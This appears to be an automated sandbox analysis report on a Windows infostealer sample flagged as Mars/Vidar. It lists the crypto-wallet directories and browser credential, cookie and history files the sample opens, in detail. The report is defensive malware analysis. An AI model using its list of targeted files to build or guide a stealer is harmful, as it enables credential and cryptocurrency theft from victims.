Code function: 0_2_00406D50 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

0_2_00406D50

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.IrAr85Qv7X.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.IrAr85Qv7X.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IrAr85Qv7X.exe PID: 4944, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\default_wallet
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\SYSTEM32\PROPSYS.dllll\Local Storage\\file__0.localstorage
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\default_wallet
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: IrAr85Qv7X.exe, 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\data.safe.bin	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829702.cde8135c-88c3-4c34-8670-7ef017742548.new-profile.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\background-update	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834620.c7889da7-33f0-4599-8452-58d47c58437b.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829744.7278f154-e8f4-4235-84c5-c5c1c6af0084.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\1435a377-bbaf-4c9c-8706-0811a779fa3f	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\.metadata-v2	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\808127e8-e7ed-4078-b3f3-7f09061a011f	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857860.81ddb4cc-1d49-45f2-961f-e24ea6db2be5.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\12f997af-c065-4562-b9f6-11000bb95c9b	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834580.6fc53411-ad83-4cf6-a5f6-905f0f3f52e8.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\1d5599c8-3f43-42cc-8163-9a43c60a06d1	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\78267ebf-1fb3-4b11-82e9-903e54a2a54e	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829746.67aa4432-87f8-463e-b422-f6679add9971.first-shutdown.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\6fc53411-ad83-4cf6-a5f6-905f0f3f52e8	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\7278f154-e8f4-4235-84c5-c5c1c6af0084	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\45e26519-596d-41a5-b290-e547b44111fd	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\a5d6ec76-765c-4778-afd2-1e05a1554d8e	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\7d12ac42-15c3-4db9-abfe-259bc8d249ac	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\15f01145-7764-450b-9ad5-323693350a9c	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857833.45e26519-596d-41a5-b290-e547b44111fd.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857860.a73949a2-5a70-4025-8008-88156c16bb4a.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\a7174184-f177-48c4-876a-8a51c2ed8fbc	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829737.9f7a5e7a-2be0-4ff7-b132-b1f6e59a8e58.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834608.65054280-9d54-477d-a3ea-afcb1f88e001.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\events	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\05d02ac8-b2f1-4670-8541-db8ec2bbf427	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857869.95af30ae-acac-4802-b983-233d7fd3cf34.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\3a40aaf9-3f8b-43a2-85e8-88e3ffc7666f	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\277ffbb3-8e94-4f3f-acac-7a401d130160	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834606.011115ff-9301-40fc-805e-ba07b7fdfce4.event.jsonlz4	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
